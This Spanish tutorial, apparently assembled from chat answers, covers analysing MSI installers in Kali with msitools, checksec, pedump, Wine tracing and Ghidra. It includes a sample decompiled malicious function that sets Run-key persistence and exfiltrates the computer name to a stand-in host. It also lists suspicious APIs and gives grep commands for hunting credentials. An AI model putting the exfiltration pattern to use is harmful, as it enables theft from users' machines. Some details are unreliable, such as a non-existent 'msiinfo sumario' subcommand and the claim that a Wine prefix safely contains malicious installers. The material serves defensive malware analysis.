Kali Linux msitools: Guía Rápida

https://www.onlinetis.com/es/

Kali Linux msitools: Guía Rápida

msitools es una colección de utilidades muy útil en Kali Linux si necesitas trabajar con archivos de instalación de Windows (paquetes .msi). Es especialmente común cuando estás auditando software o preparando "payloads" y necesitas manipular estos archivos sin estar en un entorno Windows.

Aquí tienes una guía rápida de qué es y cómo usar las herramientas principales en español:

1. Instalación

Si no lo tienes instalado en tu Kali, puedes obtenerlo rápidamente desde los repositorios oficiales:

Bash

sudo apt update
sudo apt install msitools

2. Herramientas Principales

El paquete no es un solo programa, sino un conjunto de comandos. Estos son los más importantes:

msiinfo (Inspección)

Sirve para ver los metadatos de un archivo .msi (autor, versión, plataforma, etc.).

Uso: msiinfo sumario instalador.msi
Para qué sirve: Para saber rápidamente si un instalador es de 32 o 64 bits o quién lo firmó.

msiextract (Extracción)

Es probablemente la herramienta que más usarás. Te permite extraer el contenido de un .msi sin ejecutarlo.

Uso: msiextract instalador.msi -C /ruta/de/destino
Para qué sirve: Para analizar binarios, scripts internos o archivos de configuración ocultos dentro del instalador.

msibuild (Creación)

Permite construir un archivo .msi a partir de un archivo de tabla de base de datos (archivos .idt).

Para qué sirve: En escenarios avanzados de pentesting, para crear instaladores personalizados o modificar uno existente.

3. Ejemplo Práctico: Analizando un instalador

Si sospechas de un archivo .msi y quieres ver qué archivos va a instalar en el sistema de la víctima:

Ver tablas internas:
msiinfo tables archivo.msi (Esto te muestra la estructura de la base de datos del instalador).
Extraer todo para análisis estático:
mkdir analisis && msiextract archivo.msi -C analisis/

¿Por qué usarlo en Kali?

En lugar de arriesgarte a ejecutar un .msi sospechoso en una máquina virtual Windows, puedes usar msitools para "destripar" el archivo de forma segura en Linux. Es ideal para:

Búsqueda de DLLs específicas.
Extracción de archivos de configuración para buscar credenciales.
Ingeniería inversa básica de procesos de instalación.

Automatizar esto te ahorrará mucho tiempo, especialmente si estás analizando un conjunto grande de instaladores.

Aquí tienes un script en Bash sencillo y eficaz. Este script buscará todos los archivos .msi en el directorio actual, creará una carpeta específica para cada uno y extraerá su contenido allí.

Script de Automatización (`extraer_msi.sh`)

Bash
#!/bin/bash

# Comprobar si msiextract está instalado
if ! command -v msiextract &> /dev/null; then
    echo "[-] Error: msitools no está instalado. Instálalo con: sudo apt install msitools"
    exit 1
fi

echo "[+] Iniciando extracción masiva..."

# Iterar sobre todos los archivos .msi del directorio
for archivo in *.msi; do
    # Verificar si hay archivos .msi para evitar errores si la lista está vacía
    [ -e "$archivo" ] || continue

    # Crear un nombre de carpeta basado en el nombre del archivo (sin la extensión)
    nombre_carpeta="${archivo%.msi}_extraido"
    
    echo "----------------------------------------------------"
    echo "[*] Procesando: $archivo"
    mkdir -p "$nombre_carpeta"
    
    # Extraer el contenido
    msiextract "$archivo" -C "$nombre_carpeta"
    
    if [ $? -eq 0 ]; then
        echo "[+] Completado: Guardado en $nombre_carpeta"
    else
        echo "[-] Error al extraer $archivo"
    fi
done

echo "----------------------------------------------------"
echo "[!] Proceso finalizado."

Cómo usarlo:

Crea el archivo: nano extraer_msi.sh (Pega el código anterior y guarda con Ctrl+O, Enter y Ctrl+X).
Dale permisos de ejecución: chmod +x extraer_msi.sh
Ejecútalo: ./extraer_msi.sh

¿Qué hace exactamente este script?

Limpieza: Usa ${archivo%.msi} para quitar la extensión y que tus carpetas no se llamen programa.msi_extraido, sino simplemente programa_extraido.
Seguridad: Verifica si tienes la herramienta instalada antes de empezar.
Orden: Crea una estructura de directorios limpia, ideal para realizar auditorías rápidas o análisis de malware sin mezclar archivos de diferentes instaladores.

Vamos a darle un toque más profesional al script. Al añadir los metadatos, no solo tendrás los archivos extraídos, sino también un archivo de texto con la información técnica (quién lo creó, para qué versión de Windows es, comentarios, etc.).

Aquí tienes la versión mejorada del script.

Script: `analizador_msi.sh`

Bash
#!/bin/bash

# Verificar si msitools está instalado
if ! command -v msiextract &> /dev/null || ! command -v msiinfo &> /dev/null; then
    echo "[-] Error: msitools no está instalado. Ejecuta: sudo apt install msitools"
    exit 1
fi

echo "===================================================="
echo "      HERRAMIENTA DE ANÁLISIS MASIVO MSI"
echo "===================================================="

for archivo in *.msi; do
    [ -e "$archivo" ] || continue

    nombre_base="${archivo%.msi}"
    carpeta_salida="${nombre_base}_analisis"
    
    echo "[*] Analizando: $archivo..."
    mkdir -p "$carpeta_salida"

    # 1. Generar Informe de Metadatos
    echo "[+] Generando informe de metadatos..."
    echo "INFORME DE METADATOS - $archivo" > "$carpeta_salida/info.txt"
    echo "-----------------------------------" >> "$carpeta_salida/info.txt"
    msiinfo sumario "$archivo" >> "$carpeta_salida/info.txt"
    msiinfo streams "$archivo" >> "$carpeta_salida/info.txt"

    # 2. Extraer archivos
    echo "[+] Extrayendo archivos..."
    msiextract "$archivo" -C "$carpeta_salida" > /dev/null 2>&1

    echo "[OK] Finalizado: Ver carpeta '$carpeta_salida'"
    echo "----------------------------------------------------"
done

echo "[!] Proceso completado con éxito."

¿Qué hay de nuevo en esta versión?

Informe Automático (info.txt): Dentro de cada carpeta verás un archivo llamado info.txt. Contiene el "sumario" (autor, título, palabras clave) y los "streams" (los flujos de datos internos del MSI).
Modo Silencioso: He añadido > /dev/null 2>&1 a la extracción para que la terminal no se llene de texto innecesario y puedas ver claramente el progreso del análisis.
Detección de Streams: msiinfo streams es muy útil en seguridad, ya que te muestra si hay archivos binarios o scripts adicionales "escondidos" dentro de la base de datos del MSI que no siempre se extraen de forma convencional.

Instrucciones finales:

Guarda el código: nano analizador_msi.sh
Dale permisos: chmod +x analizador_msi.sh
Ejecuta en la carpeta donde tengas tus archivos .msi: ./analizador_msi.sh

Para un auditor de seguridad o un pentester, tener los archivos extraídos es solo el primer paso. El verdadero trabajo empieza al buscar "tesoros" (credenciales, certificados, scripts de configuración o archivos de base de datos) entre miles de archivos.

Aquí tienes cómo usar comandos nativos de Kali para encontrar lo más importante en todas las carpetas que creó el script anterior:

1. Buscar contraseñas o texto sensible

El comando grep es tu mejor amigo. Ejecuta esto desde la carpeta donde están todas tus carpetas de análisis:

Bash

grep -riE "password|pwd|admin|root|token|key|config" .

-r: Busca de forma recursiva en todas las carpetas.
-i: Ignora mayúsculas/minúsculas.
-E: Permite usar expresiones regulares (para buscar varias palabras a la vez).

2. Buscar archivos por extensión crítica

A veces lo interesante no es el contenido, sino el tipo de archivo. Puedes listar todos los archivos de configuración o certificados encontrados:

Bash

find . -type f -regex ".*\(xml\|config\|ini\|pfx\|crt\|key\|db\|sqlite\)"

.xml / .config / .ini: Suelen contener cadenas de conexión a bases de datos o configuraciones de red.
.pfx / .crt / .key: Certificados digitales y claves privadas.
.db / .sqlite: Bases de datos locales que el programa usa al instalarse.

3. Extraer cadenas de texto de binarios (`strings`)

Si el instalador extrajo un archivo .exe o .dll, puedes ver si tiene URLs o rutas de red hardcodeadas:

Bash

strings nombre_del_binario.exe | grep "http"

Bonus: Script "Super Buscador"

Puedes añadir este bloque al final de tu script anterior o guardarlo como uno nuevo para que, tras extraer, te dé un resumen de hallazgos interesantes:

Bash
echo "=== RESUMEN DE ARCHIVOS INTERESANTES ==="
# Busca archivos que suelen contener secretos
find . -type f \( -name "*.config" -o -name "*.xml" -o -name "*.ini" -o -name "*.pwd" \)

# Busca menciones a 'User ID' o 'Password' en los archivos extraídos
grep -rni "user id" .
grep -rni "password" .

¿Qué sigue?

Ahora que ya sabes extraer y buscar, el siguiente paso lógico en un entorno de Kali sería analizar los binarios extraídos.

Analizar la seguridad de los archivos binarios (.exe, .dll) que has extraído es fundamental para entender qué tan vulnerable es el software o si tiene protecciones modernas.

En Kali Linux, tenemos un par de herramientas estándar que te dirán mucho sobre un archivo en segundos.

1. El comando `file` (Identificación básica)

Antes de nada, debes saber qué es realmente el archivo. A veces los instaladores renombran archivos para ocultarlos.

Comando: file archivo_extraido.exe
Qué te dice: Si es de 32-bit (i386) o 64-bit (x86-64), y si es un ejecutable de Windows (PE32). Saber la arquitectura es vital si luego quieres usar herramientas como Metasploit o depuradores.

2. El comando `checksec` (Protecciones de memoria)

checksec es una herramienta famosa en el mundo del exploit dev. Aunque es originaria de Linux, puede analizar ejecutables de Windows (PE) para ver si tienen activadas las defensas contra exploits.

Si no la tienes, instálala con: sudo apt install checksec

Uso: checksec --file=archivo.exe
Lo que debes buscar:
- ASLR (Address Space Layout Randomization): Si está desactivado, las direcciones de memoria son predecibles, lo que facilita crear un exploit.
- DEP / NX (Data Execution Prevention): Si está desactivado, un atacante podría ejecutar código en áreas de la memoria que solo deberían contener datos.
- SafeSEH / CFG: Protecciones contra la sobrescritura de manejadores de excepciones.

3. Automatizando el escaneo de seguridad

Podemos crear un pequeño script que recorra todos los binarios extraídos y nos diga cuáles son los "eslabones débiles" (los que no tienen protecciones).

Crea un archivo llamado escanear_seguridad.sh:

Bash
#!/bin/bash

echo "=== ESCANEO DE SEGURIDAD DE BINARIOS ==="
echo "Archivo | Arquitectura | Protección"
echo "----------------------------------------"

# Busca todos los .exe y .dll en las carpetas de análisis
find . -type f \( -name "*.exe" -o -name "*.dll" \) | while read -r binario; do
    # Obtener arquitectura básica
    arch=$(file "$binario" | cut -d, -f2)
    
    # Mostrar nombre y arquitectura
    echo -n "[*] $binario ($arch) -> "
    
    # Ejecutar checksec (resumido)
    checksec --file="$binario" --output=oneline
done

¿Por qué es útil esto para un Pentester?

Si encuentras un .exe que se instala en el sistema y ves que no tiene ASLR ni DEP, ese archivo es un candidato perfecto para un ataque de desbordamiento de búfer (Buffer Overflow). Es como encontrar una puerta sin cerradura en una casa que por fuera parece blindada.

Entrar en el análisis de las capacidades de un binario es como mirar el "manual de instrucciones" oculto del programa. Nos dice qué es capaz de hacer el software (conectarse a internet, borrar archivos, leer el registro, etc.) sin necesidad de ejecutarlo.

Para esto, en Kali usamos herramientas que leen la IAT (Import Address Table). La IAT es una lista de funciones que el programa "pide prestadas" a Windows (archivos .dll).

1. Usando `pedump`

pedump es una herramienta clásica y muy ligera para ver las cabeceras de archivos ejecutables de Windows.

Instalación: sudo apt install pedump
Uso: pedump --imports archivo.exe

¿Qué buscar en los resultados?

Si ves estas funciones (APIs), el binario tiene capacidades interesantes:

InternetOpen, HttpSendRequest: El programa puede comunicarse con el exterior.
CreateRemoteThread, WriteProcessMemory: Típico de malware o herramientas que inyectan código en otros procesos.
RegSetValue, RegCreateKey: El programa modifica el registro de Windows (persistencia).

2. Usando `objdump` (El estándar de ingeniería inversa)

objdump viene preinstalado en casi cualquier Linux y es extremadamente potente para ver los símbolos y secciones.

Comando para ver librerías dependientes:
objdump -p archivo.exe | grep "DLL Name"
Comando para ver todas las funciones que llama:
objdump -d archivo.exe | grep "call" (Esto requiere conocimientos de ensamblador, pero te da una idea de la complejidad).

3. Visualizando la Estructura PE

Para entender por qué buscamos estas funciones, es útil visualizar cómo se organiza un archivo ejecutable de Windows (Portable Executable o PE).

Como ves en el diagrama, la sección .idata es donde reside la información de las funciones que estamos analizando. Si un .msi instala un ejecutable cuya sección .text (el código) es muy pequeña pero su sección .data es enorme, podría estar ocultando un payload cifrado.

Script: "El Chivato de Funciones"

Podemos añadir una función a nuestro flujo de trabajo para que nos alerte si un binario extraído del MSI tiene funciones "sospechosas":

Bash
#!/bin/bash

BINARIO=$1

echo "=== ANALIZANDO CAPACIDADES DE: $BINARIO ==="

# Lista de funciones sospechosas a buscar
SOSPECHOSAS=("InternetOpen" "WriteProcessMemory" "CreateService" "ControlService" "ShellExecute")

for func in "${SOSPECHOSAS[@]}"; do
    if pedump --imports "$BINARIO" | grep -qi "$func"; then
        echo "[!] ALERTA: Se encontró la función peligrosa: $func"
    fi
done

¿Cuál es el siguiente paso lógico?

Ya sabemos extraer el MSI, buscar secretos en texto plano, verificar protecciones de memoria y analizar qué funciones pide el programa. El siguiente nivel sería el Análisis Dinámico (ver qué hace el programa mientras corre).

Usar Wine (Wine Is Not an Emulator) en Kali es una forma excelente de ejecutar binarios de Windows en una "capa de compatibilidad" sin necesidad de una máquina virtual pesada. Para un análisis de seguridad, lo combinaremos con WINEDEBUG para rastrear qué archivos y claves de registro intenta tocar el instalador.

1. Instalación de Wine

Primero, asegúrate de tener Wine instalado y configurado para 32 y 64 bits (ya que muchos instaladores MSI son híbridos):

Bash

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine wine32 wine64

2. Ejecución con Rastreo (Análisis Dinámico)

La magia de Wine para el análisis de malware o auditoría reside en las variables de entorno. Podemos pedirle a Wine que nos "chive" cada vez que el programa intente abrir un archivo o escribir en el registro.

Rastreo de archivos y registro:

Ejecuta tu instalador (o el binario extraído) con este comando:

Bash

WINEDEBUG=+file,+reg wine msiexec /i instalador.msi 2> traza_instalacion.log

+file: Muestra cada intento de abrir, leer o escribir archivos.
+reg: Muestra cada acceso al Registro de Windows.
msiexec /i: Es el comando de Windows para iniciar una instalación.
2> traza_instalacion.log: Guarda todo ese flujo enorme de datos en un archivo de texto para que lo analices con calma.

3. Analizando el Log de Traza

Una vez que el instalador termine (o lo cierres), el archivo traza_instalacion.log tendrá miles de líneas. Usa grep para encontrar acciones sospechosas:

¿Creó algún archivo .exe o .dll en carpetas temporales?
grep "Creating file" traza_instalacion.log | grep ".exe"
¿Modificó claves de "Run" (Autoarranque)?
grep "CurrentVersion\\Run" traza_instalacion.log

4. Uso de `procexp` (Process Explorer) en Wine

Si prefieres algo visual, puedes descargar el famoso Process Explorer de Sysinternals y ejecutarlo dentro de Wine mientras corres el instalador:

Descarga procexp.exe.
Ejecútalo: wine procexp.exe &
Luego lanza tu MSI. Verás los procesos hijos que se disparan en tiempo real.

Resumen del flujo de trabajo en Kali:

Extraer: msiextract (Análisis estático de archivos).
Informar: msiinfo (Metadatos).
Auditar: checksec (Protecciones de memoria).
Capacidades: pedump (Funciones importadas).
Comportamiento: Wine con WINEDEBUG (Escritura en disco y registro).

Con esto ya tienes un laboratorio de análisis de software Windows completo dentro de tu Kali Linux.

Crear un Sandbox (entorno aislado) en Wine es una práctica de seguridad fundamental. Si ejecutas un instalador malicioso o desconocido en la configuración por defecto de Wine, este podría acceder a tu carpeta /home o ver tus archivos personales de Linux.

Para evitar esto, usamos lo que se llama un WINEPREFIX. Es básicamente una "botella" o carpeta que contiene su propio disco C:, su propio registro y sus propias carpetas de usuario, totalmente separada del resto.

1. Crear el Directorio del Sandbox

Primero, elige una carpeta donde vivirán todos los datos de este análisis:

Bash

mkdir -p ~/Analisis_MSI/sandbox_1

2. Configurar el Prefijo Aislado

Para decirle a Wine que use esa carpeta y no la de por defecto, usamos la variable WINEPREFIX. Además, forzaremos a que sea una arquitectura de 32 bits para mayor compatibilidad con instaladores antiguos:

Bash
export WINEPREFIX=$HOME/Analisis_MSI/sandbox_1
export WINEARCH=win32
winecfg

Al ejecutar winecfg, Wine creará automáticamente toda la estructura de Windows dentro de esa carpeta.

3. Aislar de la Red y de Linux (Opcional pero recomendado)

Por defecto, Wine crea enlaces simbólicos a tu carpeta Documentos, Imágenes, etc. Para un análisis seguro, es mejor borrarlos:

Bash
rm $WINEPREFIX/dosdevices/z:  # Borra el acceso a la raíz de tu sistema Linux (/)
rm -rf $WINEPREFIX/drive_c/users/$(whoami)/My\ Documents

4. El Script Maestro de Análisis Seguro

Aquí tienes un script que combina todo lo que hemos aprendido: crea el sandbox, limpia los enlaces y lanza el rastreo de archivos.

Bash
#!/bin/bash

# Nombre del archivo MSI a analizar
ARCHIVO_MSI=$1
SANDBOX_DIR="$HOME/Analisis_MSI/sandbox_$(date +%s)"

if [ -z "$ARCHIVO_MSI" ]; then
    echo "Uso: ./sandbox_run.sh archivo.msi"
    exit 1
fi

echo "[+] Creando Sandbox en: $SANDBOX_DIR"
mkdir -p "$SANDBOX_DIR"

# Configurar entorno aislado
export WINEPREFIX="$SANDBOX_DIR"
export WINEARCH=win32

# Inicializar Wine de forma silenciosa
wineboot -i

# Ejecutar con rastreo de archivos y registro
echo "[*] Iniciando instalación controlada..."
WINEDEBUG=+file,+reg wine msiexec /i "$ARCHIVO_MSI" 2> "$SANDBOX_DIR/traza.log"

echo "[!] Análisis finalizado. Los archivos creados están en $SANDBOX_DIR/drive_c"
echo "[!] El log de actividad está en $SANDBOX_DIR/traza.log"

¿Qué has logrado con esto?

Limpieza: Cuando termines el análisis, simplemente borras la carpeta del sandbox y tu sistema Kali queda impecable.
Seguridad: El instalador cree que está en un Windows real, pero está atrapado en una carpeta específica de tu Linux.
Repetibilidad: Puedes crear un sandbox nuevo para cada MSI que analices.

Crear un alias (o una función de Bash) es el toque final para convertirte en un usuario avanzado de Kali. En lugar de recordar rutas largas y variables de entorno, simplemente escribirás una palabra y tu "laboratorio" se pondrá en marcha.

Para que esto funcione correctamente y persista cada vez que abras la terminal, debemos añadirlo a tu archivo .bashrc (o .zshrc si usas el shell por defecto de las versiones modernas de Kali).

1. El comando mágico para tu configuración

Copia y pega este bloque en tu terminal para añadir la función automáticamente:

Bash

echo '
# Función para análisis seguro de MSI en Kali
analizar_msi() {
    local ARCHIVO="$1"
    if [ -z "$ARCHIVO" ]; then
        echo "Uso: analizar_msi instalador.msi"
        return 1
    fi

    # Crear carpeta temporal única para el análisis
    local TIMESTAMP=$(date +%Y%m%d_%H%M%S)
    local SANDBOX="$HOME/Analisis_MSI/sandbox_$TIMESTAMP"
    mkdir -p "$SANDBOX"

    echo "[+] Iniciando laboratorio aislado en: $SANDBOX"
    
    # Configurar el prefijo de Wine de forma aislada
    export WINEPREFIX="$SANDBOX"
    export WINEARCH=win32
    wineboot -i > /dev/null 2>&1

    # Ejecutar con rastreo de archivos y registro guardando el log
    echo "[*] Ejecutando $ARCHIVO con trazado activo..."
    WINEDEBUG=+file,+reg wine msiexec /i "$ARCHIVO" 2> "$SANDBOX/actividad.log"

    echo "----------------------------------------------------"
    echo "[!] Análisis completado."
    echo "[?] Archivos creados en: $SANDBOX/drive_c"
    echo "[?] Registro y logs en: $SANDBOX/actividad.log"
    echo "----------------------------------------------------"
}
' >> ~/.zshrc

(Nota: Si usas Bash en lugar de Zsh, cambia ~/.zshrc por ~/.bashrc en la última línea).

2. Aplicar los cambios

Para que Kali reconozca el nuevo comando de inmediato, ejecuta:

Bash

source ~/.zshrc

3. Cómo usarlo a partir de ahora

A partir de este momento, cuando descargues un archivo .msi sospechoso o que necesites auditar, solo tienes que hacer esto:

analizar_msi programa_sospechoso.msi

¿Qué hemos construido juntos?

Hemos pasado de no tener la herramienta a tener un entorno de análisis forense de MSI completo:

Extracción estática con msitools.
Reporte de metadatos técnico.
Auditoría de seguridad de binarios (checksec).
Identificación de capacidades y funciones sospechosas (pedump).
Ejecución en Sandbox aislado con rastreo de actividad en tiempo real (Wine).

Un último consejo de "pro":

Si después de la instalación quieres ver qué archivos nuevos aparecieron en tu disco "C:" falso, puedes usar:

find $WINEPREFIX/drive_c -mmin -5 (Esto te mostrará los archivos creados o modificados en los últimos 5 minutos).

Como estamos trabajando con WINEPREFIX, estos entornos pueden ocupar mucho espacio rápidamente (cada uno puede pesar desde 100 MB hasta varios GB si el instalador es grande).

Para mantener tu Kali limpio, lo mejor es crear un comando que borre los sandboxes antiguos basándose en su fecha de creación.

1. El comando de limpieza manual

Si quieres borrar todos los sandboxes que tengan más de 7 días de antigüedad, puedes usar este comando de una sola línea:

Bash
find ~/Analisis_MSI/ -name "sandbox_*" -type d -mtime +7 -exec rm -rf {} +

-name "sandbox_*": Solo busca las carpetas que creamos con nuestro script.
-type d: Se asegura de que solo borre directorios.
-mtime +7: Busca carpetas modificadas hace más de 7 días.
-exec rm -rf {} +: Borra todo lo que encuentre de forma definitiva.

2. Automatización Total: "La Autolimpieza"

Lo ideal es integrar esto en tu función de análisis para que, cada vez que analices algo nuevo, Kali haga "limpieza de casa" automáticamente.

Vamos a actualizar tu alias/función en el archivo ~/.zshrc (o .bashrc):

Bash
# Versión mejorada con autolimpieza
analizar_msi() {
    local ARCHIVO="$1"
    
    # --- PARTE NUEVA: Autolimpieza de carpetas de más de 3 días ---
    echo "[*] Limpiando sandboxes antiguos para ahorrar espacio..."
    find ~/Analisis_MSI/ -name "sandbox_*" -type d -mtime +3 -exec rm -rf {} + 2>/dev/null

    if [ -z "$ARCHIVO" ]; then
        echo "Uso: analizar_msi instalador.msi"
        return 1
    fi

    local TIMESTAMP=$(date +%Y%m%d_%H%M%S)
    local SANDBOX="$HOME/Analisis_MSI/sandbox_$TIMESTAMP"
    mkdir -p "$SANDBOX"

    echo "[+] Iniciando laboratorio aislado en: $SANDBOX"
    export WINEPREFIX="$SANDBOX"
    export WINEARCH=win32
    wineboot -i > /dev/null 2>&1

    echo "[*] Ejecutando $ARCHIVO con trazado activo..."
    WINEDEBUG=+file,+reg wine msiexec /i "$ARCHIVO" 2> "$SANDBOX/actividad.log"

    echo "----------------------------------------------------"
    echo "[!] Análisis completado. Logs en: $SANDBOX/actividad.log"
}

3. ¿Quieres ver cuánto espacio estás ocupando?

Si antes de borrar quieres saber cuántos GB están consumiendo tus análisis, usa este comando:

Bash

du -sh ~/Analisis_MSI/

Resumen de mantenimiento:

Para limpiar todo ahora mismo: rm -rf ~/Analisis_MSI/sandbox_*
Para limpiar solo lo viejo (automático): El script con find -mtime.

Con esto, tu flujo de trabajo en Kali es totalmente profesional: extraes, analizas, ejecutas en sandbox y mantienes el sistema limpio de basura digital.

Vamos a programar un Cron Job. En el mundo de Linux, cron es el guardián que ejecuta tareas en segundo plano a horas específicas. Es la forma más profesional de olvidarte del mantenimiento manual.

1. Configuración del Cron Job

Para editar tus tareas programadas, usa el comando:

Bash

crontab -e

(Si es la primera vez que lo usas, elige nano como editor, que es el más sencillo).

2. Añadir la línea de limpieza

Ve al final del archivo y pega la siguiente línea. Esta instrucción le dice a Kali: "Todos los domingos a las 23:59, busca carpetas de sandbox de más de 7 días en mi carpeta personal y bórralas".

Fragmento de código

59 23 * * 0 find /home/$(whoami)/Analisis_MSI/ -name "sandbox_*" -type d -mtime +7 -exec rm -rf {} +

Desglose del horario (59 23 * * 0):

59: Minuto 59.
23: Hora 23 (11:59 PM).
*: Cualquier día del mes.
*: Cualquier mes.
0: Domingo (en cron, 0 o 7 es domingo).

3. ¿Cómo verificar que está activo?

Una vez que guardes el archivo (Ctrl+O, Enter, Ctrl+X), puedes listar tus tareas activas con:

Bash

crontab -l

4. Una mejora extra: El Log de Limpieza

Si quieres que además te deje una nota de qué borró para que no te asustes si ves que falta algo, puedes cambiar la línea del crontab por esta otra:

Fragmento de código

59 23 * * 0 find /home/$(whoami)/Analisis_MSI/ -name "sandbox_*" -type d -mtime +7 -exec rm -rf {} + >> /home/$(whoami)/Analisis_MSI/limpieza_automatica.log 2>&1

Resumen de tu Laboratorio de MSI en Kali

Ahora tu sistema es una máquina de análisis de malware/software Windows totalmente automatizada:

Análisis: Usas analizar_msi archivo.msi.
Aislamiento: Se crea un WINEPREFIX único y seguro.
Trazabilidad: Se graban todos los movimientos del instalador.
Higiene: El sistema se limpia solo cada domingo por la noche.

¡Has pasado de una herramienta básica a un flujo de trabajo de nivel profesional!

Analizar archivos .dll (Dynamic Link Libraries) es una de las tareas más críticas en ingeniería inversa. En un instalador .msi, las DLL suelen ser el motor del programa o, en algunos casos, el lugar donde se esconde código malicioso.

Aquí tienes cómo diseccionarlas en Kali Linux utilizando un enfoque de "capas", desde lo más simple hasta el análisis profundo.

1. Análisis de Importaciones y Exportaciones

Una DLL es básicamente una "caja de herramientas". Las Exportaciones son las herramientas que ofrece a otros programas, y las Importaciones son las herramientas que ella misma necesita pedirle a Windows.

Ver qué ofrece la DLL (Exportaciones)

Si una DLL tiene una función llamada InstallHook o Payload, es una señal de alerta.

Comando: pedump --exports archivo.dll
Qué buscar: Nombres de funciones que sugieran persistencia, inyección o comunicación de red.

Ver qué necesita la DLL (Importaciones)

Comando: pedump --imports archivo.dll

2. Búsqueda de "Strings" (Cadenas de texto)

A veces, los desarrolladores dejan pistas en el código: rutas de carpetas, direcciones IP, mensajes de error o comandos de consola.

Comando: strings -a archivo.dll | grep -iE "http|C:\\|User-Agent|powershell"
Tip: Usa floss (si lo tienes instalado, es como strings pero diseñado para malware) para extraer cadenas que están "ocultas" o cifradas en la memoria.

3. Análisis de Secciones y Entropía

La entropía mide qué tan "aleatorio" es un archivo. Una sección con entropía muy alta suele indicar que el código está cifrado o comprimido (packed) para evitar que lo analices.

Herramienta: diec (Detect It Easy) o pedump -s.
Interpretación: * Si la sección .text tiene una entropía mayor a 7.0, es casi seguro que el binario está protegido por un "packer" como UPX o VMProtect.
- Si ves nombres de secciones extraños (como .aspack o .upx), ya sabes que primero debes "desempaquetar" el archivo.

4. Desensamblado Rápido con `objdump`

Si quieres ver el código ensamblador real para entender la lógica de una función específica:

Comando: objdump -M intel -d archivo.dll | less
En qué fijarse: Busca instrucciones como call (llamadas a funciones) o jmp (saltos en el código). Si ves muchos saltos a direcciones de memoria inusuales, podría haber técnicas de anti-depuración.

5. Análisis Avanzado con Ghidra

Si realmente quieres entender qué hace el código sin leer ensamblador puro, debes usar un descompilador. Kali incluye Ghidra (desarrollado por la NSA), que es la herramienta gratuita más potente para esto.

Escribe ghidra en tu terminal de Kali.
Crea un nuevo proyecto e importa la .dll.
Deja que Ghidra la analice (haz clic en "Analyze").
La joya de la corona: Usa la ventana de Decompiler. Ghidra intentará traducir el código máquina de vuelta a lenguaje C, lo que hace que sea mucho más fácil de leer que el ensamblador.

Resumen de "Banderas Rojas" en una DLL:

Característica	Sospecha
Importa `WS2_32.dll`	La DLL tiene capacidad de conexión a internet.
Importa `Advapi32.dll`	Puede modificar el registro o gestionar servicios.
Entropía > 7.5	El código está oculto/cifrado.
Exporta `DllRegisterServer`	Es una DLL diseñada para registrarse en el sistema (típico de persistencia).

Cuando dejas que una herramienta como Ghidra analice una DLL, su descompilador hace un trabajo increíble: traduce el lenguaje ensamblador (ceros y unos complejos) a algo que parece código en C.

Aquí tienes un ejemplo de cómo se vería un fragmento de código "sospechoso" que podrías encontrar al analizar una DLL extraída de un .msi:

Ejemplo de código descompilado (Sospechoso)

Imagina que estás viendo la función FUN_00401234 en Ghidra:

C
void FUN_00401234(void) {
    char buffer[512];
    HKEY hKey;
    char *url = "http://servidor-malicioso.com/upload";
    
    // 1. Intento de abrir una llave de registro para persistencia
    if (RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0x20006, &hKey) == 0) {
        RegSetValueExA(hKey, "Updater", 0, 1, "C:\\Windows\\Temp\\maligno.exe", 28);
        RegCloseKey(hKey);
    }

    // 2. Captura de datos del sistema
    GetComputerNameA(buffer, 512);

    // 3. Exfiltración (Envío de datos fuera)
    HINTERNET hSession = InternetOpenA("Mozilla/5.0", 1, NULL, NULL, 0);
    HINTERNET hConnect = InternetConnectA(hSession, "servidor-malicioso.com", 80, NULL, NULL, 3, 0, 0);
    HttpSendRequestA(hConnect, NULL, 0, buffer, strlen(buffer));
    
    return;
}

Cómo interpretar este "hallazgo":

Si ves algo así en el descompilador de Ghidra, tienes una prueba irrefutable de comportamiento malicioso:

Persistencia: El uso de RegOpenKeyExA apuntando a la carpeta ...\\Run indica que la DLL quiere que un programa se ejecute automáticamente cada vez que el usuario inicie sesión.
Recolección de Información: GetComputerNameA es una función clásica para identificar a la víctima antes de enviar los datos al servidor de comando y control (C2).
Exfiltración: Las funciones que empiezan por Internet... o Http... confirman que la DLL está enviando información robada a una dirección IP o dominio externo.

Tu flujo de trabajo final en Ghidra:

Cuando abras esa DLL que extrajiste del MSI, sigue estos pasos:

Paso A (Symbol Tree): Busca en la lista de "Functions" nombres que no parezcan estándar. Si ves nombres como RunPayload, InitStealer o simplemente nombres aleatorios como a1_b2, empieza por ahí.
Paso B (Imports): Mira la carpeta "Imports" en Ghidra. Si ves WININET.DLL, busca en el código dónde se usan las funciones de internet. Haz clic derecho sobre la función (ej: InternetOpenA) y selecciona "Show References to". Esto te llevará directo al lugar del código donde se hace la conexión.
Paso C (Data Type Manager): A veces los atacantes ocultan texto (como la URL del servidor) en forma de arreglos de bytes. Ghidra te permite convertir esos bytes de vuelta a texto legible con un clic.

¿Qué herramientas de Kali usarías ahora?

Ya tienes todo el arsenal: desde extraer el MSI hasta leer el código fuente "reconstruido" de sus entrañas.

Aunque herramientas como Ghidra hacen un gran trabajo "traduciendo" a C, a veces el código está tan optimizado o proteguido que el descompilador falla. En esos momentos, tu última línea de defensa es leer el ensamblador (ASM) directamente.

Aquí tienes una "chuleta" rápida de los comandos de arquitectura x86/x64 que verás el 90% del tiempo en Kali:

1. Movimiento de Datos

MOV dest, src: Copia el valor de src a dest. Es el comando más común.
LEA reg, [addr]: (Load Effective Address). No copia el contenido, sino la dirección de memoria. Se usa mucho para calcular dónde empieza una cadena de texto o un array.
PUSH / POP: Mete o saca valores de la Pila (Stack). Si ves muchos PUSH seguidos antes de un CALL, son los argumentos que se le pasan a una función.

2. Control de Flujo (Saltos y Decisiones)

Aquí es donde entiendes la lógica del programa (los "if/else"):

CMP val1, val2: Compara dos valores. No hace nada visible, pero activa unas "banderas" internas.
TEST reg, reg: Se usa mucho para ver si un valor es cero (por ejemplo, para ver si una función falló).
JZ / JE: Salta si el resultado anterior fue cero o igual.
JNZ / JNE: Salta si NO fue cero o igual.
JMP: Salto incondicional (como un "ir a").

3. Llamadas a Funciones

CALL addr: Ejecuta una función. Aquí es donde verás las llamadas a las APIs de Windows que analizamos antes (como InternetOpenA).
RET: Termina la función actual y vuelve a donde estaba antes.

Ejemplo Real: ¿Cómo se ve un "IF" en Ensamblador?

Imagina que el programa verifica si una contraseña es correcta:

Código en C	Ensamblador (x64)	Explicación
`if (resultado == 0)`	`TEST EAX, EAX`	Revisa si el registro EAX (donde se guardan los resultados) es 0.
